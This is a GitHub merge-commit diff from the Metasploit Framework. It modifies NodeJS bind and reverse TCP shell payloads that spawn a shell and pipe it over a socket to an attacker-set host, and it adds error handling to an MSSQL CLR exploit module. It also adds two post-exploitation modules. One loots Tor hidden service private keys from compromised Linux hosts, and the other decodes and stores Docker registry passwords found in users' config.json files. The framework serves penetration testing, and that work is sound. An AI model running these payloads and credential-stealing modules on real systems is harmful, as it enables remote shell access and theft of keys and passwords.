Skip to content

Commit e88b766

Browse files
committed
Merge branch 'master' of https://github.com/rapid7/metasploit-framework into add_smb1_scanner
2 parents 646dda7 + 9b5350f commit e88b766

File tree

24 files changed

+242
-76
lines changed

24 files changed

+242
-76
lines changed

lib/msf/core/payload/nodejs.rb

Lines changed: 14 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -18,8 +18,13 @@ def nodejs_bind_tcp
1818
var server = net.createServer(function(socket) {
1919
var sh = cp.spawn(cmd, []);
2020
socket.pipe(sh.stdin);
21-
util.pump(sh.stdout, socket);
22-
util.pump(sh.stderr, socket);
21+
if (typeof util.pump === "undefined") {
22+
sh.stdout.pipe(client.socket);
23+
sh.stderr.pipe(client.socket);
24+
} else {
25+
util.pump(sh.stdout, client.socket);
26+
util.pump(sh.stderr, client.socket);
27+
}
2328
});
2429
server.listen(#{datastore['LPORT']});
2530
})();
@@ -53,8 +58,13 @@ def nodejs_reverse_tcp(opts={})
5358
var client = this;
5459
client.socket = net.connect(#{datastore['LPORT']}, "#{lhost}", #{tls_hash} function() {
5560
client.socket.pipe(sh.stdin);
56-
util.pump(sh.stdout, client.socket);
57-
util.pump(sh.stderr, client.socket);
61+
if (typeof util.pump === "undefined") {
62+
sh.stdout.pipe(client.socket);
63+
sh.stderr.pipe(client.socket);
64+
} else {
65+
util.pump(sh.stdout, client.socket);
66+
util.pump(sh.stderr, client.socket);
67+
}
5868
});
5969
})();
6070
EOS

modules/exploits/windows/mssql/mssql_clr_payload.rb

Lines changed: 14 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -96,7 +96,13 @@ def get_exploit_version(sql_version_string)
9696
end
9797

9898
def set_trustworthy(on)
99-
mssql_query("ALTER DATABASE [#{datastore['DATABASE']}] SET TRUSTWORTHY #{on ? 'ON' : 'OFF'}", false)
99+
result = mssql_query("ALTER DATABASE [#{datastore['DATABASE']}] SET TRUSTWORTHY #{on ? 'ON' : 'OFF'}", false)
100+
unless result[:errors].empty?
101+
result[:errors].each do |err|
102+
vprint_error(err)
103+
end
104+
fail_with(Failure::Unknown, "Failed to change Trustworthy setting")
105+
end
100106
end
101107

102108
def is_trustworthy
@@ -112,7 +118,13 @@ def enable_clr(enable)
112118
EXEC sp_configure 'clr enabled', #{enable ? 1 : 0};
113119
RECONFIGURE;
114120
^
115-
mssql_query(query, false)
121+
result = mssql_query(query, false)
122+
unless result[:errors].empty?
123+
result[:errors].each do |err|
124+
vprint_error(err)
125+
end
126+
fail_with(Failure::Unknown, "Failed to change CLR setting")
127+
end
116128
end
117129

118130
def is_clr_enabled

modules/nops/aarch64/simple.rb

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -40,4 +40,5 @@ def generate_sled(length, opts)
4040
end
4141
return ([nops[0]].pack("V*") * (length/4))
4242
end
43-
end
43+
end
44+

modules/payloads/singles/cmd/unix/bind_nodejs.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@
1010

1111
module MetasploitModule
1212

13-
CachedSize = 1843
13+
CachedSize = 2351
1414

1515
include Msf::Payload::Single
1616
include Msf::Payload::NodeJS

modules/payloads/singles/cmd/unix/reverse_nodejs.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@
1010

1111
module MetasploitModule
1212

13-
CachedSize = 1971
13+
CachedSize = 2423
1414

1515
include Msf::Payload::Single
1616
include Msf::Payload::NodeJS

modules/payloads/singles/nodejs/shell_bind_tcp.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -13,7 +13,7 @@
1313

1414
module MetasploitModule
1515

16-
CachedSize = 456
16+
CachedSize = 583
1717

1818
include Msf::Payload::Single
1919
include Msf::Payload::NodeJS

modules/payloads/singles/nodejs/shell_reverse_tcp.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -13,7 +13,7 @@
1313

1414
module MetasploitModule
1515

16-
CachedSize = 488
16+
CachedSize = 601
1717

1818
include Msf::Payload::Single
1919
include Msf::Payload::NodeJS

modules/payloads/singles/nodejs/shell_reverse_tcp_ssl.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@
1010

1111
module MetasploitModule
1212

13-
CachedSize = 516
13+
CachedSize = 629
1414

1515
include Msf::Payload::Single
1616
include Msf::Payload::NodeJS
Lines changed: 103 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,103 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
# Adapted from post/linux/gather/enum_configs.rb
6+
##
7+
8+
class MetasploitModule < Msf::Post
9+
10+
include Msf::Post::Linux::System
11+
include Msf::Post::Linux::Priv
12+
13+
def initialize(info={})
14+
super( update_info( info,
15+
'Name' => 'Linux Gather TOR Hidden Services',
16+
'Description' => %q{
17+
This module collects the hostnames name and private keys of
18+
any TOR Hidden Services running on the target machine. It
19+
will search for torrc and if found, will parse it for the
20+
directories of Hidden Services. However, root permissions
21+
are required to read them as they are owned by the user that
22+
TOR runs as, usually a separate account.
23+
},
24+
'License' => MSF_LICENSE,
25+
'Author' =>
26+
[
27+
'Harvey Phillips <xcellerator[at]gmx.com>',
28+
],
29+
'Platform' => ['linux'],
30+
'SessionTypes' => ['shell', 'meterpreter']
31+
))
32+
end
33+
34+
def run
35+
distro = get_sysinfo
36+
h = get_host
37+
print_status("Running module against #{h}")
38+
print_status("Info:")
39+
print_status("\t#{distro[:version]}")
40+
print_status("\t#{distro[:kernel]}")
41+
print_status("Looking for torrc...")
42+
find_torrc
43+
end
44+
45+
def save(file, data, ltype, ctype="text/plain")
46+
fname = ::File.basename(file)
47+
loot = store_loot(ltype, ctype, session, data, fname)
48+
print_status("#{fname} stored in #{loot.to_s}")
49+
end
50+
51+
def get_host
52+
case session.type
53+
when /meterpreter/
54+
host = sysinfo["Computer"]
55+
when /shell/
56+
host = cmd_exec("hostname").chomp
57+
end
58+
59+
return host
60+
end
61+
62+
def find_torrc
63+
config = cmd_exec("locate 'torrc' | grep -v 'torrc.5.gz'").split("\n")
64+
if config.length == 0
65+
print_error ("No torrc file found, maybe it goes by a different name?")
66+
else
67+
hidden = Array.new
68+
# For every torrc file found, parse them for HiddenServiceDir
69+
config.each do |c|
70+
print_good("Torrc file found at #{c}")
71+
services = cmd_exec("cat #{c} | grep HiddenServiceDir | grep -v '#' | cut -d ' ' -f 2").split("\n")
72+
# For each HiddenServiceDir found in the torrc(s), push them to the hidden array
73+
services.each do |s|
74+
hidden.push(s)
75+
end
76+
end
77+
# Remove any duplicate entries
78+
hidden = hidden.uniq
79+
# If hidden is empty, then no Hidden Services are running.
80+
if hidden.length != 0
81+
print_good("#{hidden.length} hidden services have been found!")
82+
else
83+
print_bad("No hidden services were found!")
84+
end
85+
86+
if is_root?
87+
# For all the Hidden Services found, loot hostname file
88+
hidden.each do |f|
89+
output = read_file("#{f}hostname")
90+
save(f, output, "tor.#{f.split("/")[-1]}.hostname") if output && output !~ /No such file or directory/
91+
end
92+
93+
# For all the Hidden Services found, loot private_key file
94+
hidden.each do |f|
95+
output = read_file("#{f}private_key")
96+
save(f, output, "tor.#{f.split("/")[-1]}.privatekey") if output && output !~ /No such file or directory/
97+
end
98+
else
99+
print_error("Hidden Services were found, but we need root to access the directories")
100+
end
101+
end
102+
end
103+
end
Lines changed: 93 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,93 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'json'
7+
8+
class MetasploitModule < Msf::Post
9+
include Msf::Post::File
10+
include Msf::Post::Unix
11+
12+
def initialize(info={})
13+
super( update_info(info,
14+
'Name' => 'Multi Gather Docker Credentials Collection',
15+
'Description' => %q{
16+
This module will collect the contents of all users' .docker directories on the targeted
17+
machine. If the user has already push to docker hub, chances are that the password was
18+
saved in base64 (default behavior).
19+
},
20+
'License' => MSF_LICENSE,
21+
'Author' => ['Flibustier'],
22+
'Platform' => %w{ bsd linux osx unix },
23+
'SessionTypes' => ['shell']
24+
))
25+
end
26+
27+
# This module is largely based on gpg_creds.rb.
28+
29+
def run
30+
print_status("Finding .docker directories")
31+
paths = enum_user_directories.map {|d| d + "/.docker"}
32+
# Array#select! is only in 1.9
33+
paths = paths.select { |d| directory?(d) }
34+
35+
if paths.nil? || paths.empty?
36+
print_error("No users found with a .docker directory")
37+
return
38+
end
39+
40+
download_loot(paths)
41+
end
42+
43+
def download_loot(paths)
44+
print_status("Looting #{paths.count} directories")
45+
paths.each do |path|
46+
path.chomp!
47+
file = "config.json"
48+
target = "#{path}/#{file}"
49+
50+
if file? target
51+
print_status("Downloading #{target} -> #{file}")
52+
extract(target)
53+
end
54+
end
55+
end
56+
57+
def extract(target)
58+
file = read_file(target)
59+
parsed = JSON.parse(file)
60+
if parsed["auths"]
61+
parsed["auths"].each do |key, value|
62+
vprint_status("key: #{key}")
63+
value.each do |k,v|
64+
if k == "auth"
65+
plain = Rex::Text.decode_base64(v)
66+
if plain.include? ":"
67+
68+
print_good("Found #{plain}")
69+
username, password = plain.split(':')
70+
credential_data = {
71+
origin_type: :import,
72+
module_fullname: self.fullname,
73+
filename: target,
74+
workspace_id: myworkspace_id,
75+
service_name: 'docker',
76+
realm_value: key,
77+
realm_key: Metasploit::Model::Realm::Key::WILDCARD,
78+
private_type: :password,
79+
private_data: password,
80+
username: username
81+
}
82+
create_credential(credential_data)
83+
84+
print_good("Saved credentials")
85+
end
86+
end
87+
end
88+
end
89+
else
90+
print_status("No credentials found in config file")
91+
end
92+
end
93+
end

0 commit comments

Comments
 (0)